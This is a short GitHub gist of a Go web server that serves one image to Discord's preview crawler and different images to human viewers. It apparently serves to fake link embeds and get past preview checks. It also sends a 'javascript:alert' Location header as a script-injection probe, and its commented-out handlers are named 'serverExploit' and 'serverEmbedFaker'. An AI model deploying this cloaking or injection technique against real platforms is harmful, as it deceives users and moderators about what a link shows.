Created
August 2, 2016 20:28
-
-
Save jonas747/5fd7d28ff8b2afff672a73de1ecc7e39 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"io/ioutil" | |
"strings" | |
"time" | |
// "sync/atomic" | |
"log" | |
"net/http" | |
) | |
func main() { | |
// http.HandleFunc("/faker/", serverEmbedFaker) | |
http.HandleFunc("/img/", serveImage) | |
// http.HandleFunc("/", serverExploit) | |
log.Println("Running b0$$") | |
http.ListenAndServe(":5000", nil) | |
} | |
var images = []string{ | |
"image1.png", | |
"image2.png", | |
} | |
var botCheck time.Time | |
func serveImage(w http.ResponseWriter, r *http.Request) { | |
userAgent := r.UserAgent() | |
log.Println(r.RemoteAddr, userAgent) | |
path := "botimage.png" | |
if !strings.Contains(userAgent, "Discordbot") { | |
if time.Since(botCheck) < time.Second*3 { | |
path = images[0] | |
} else { | |
path = images[1] | |
} | |
} else { | |
botCheck = time.Now() | |
} | |
log.Println("Serving", path) | |
w.Header().Add("Location", "javascript:alert('asd')") | |
img, err := ioutil.ReadFile(path) | |
if err != nil { | |
panic(err) | |
} | |
w.Write(img) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment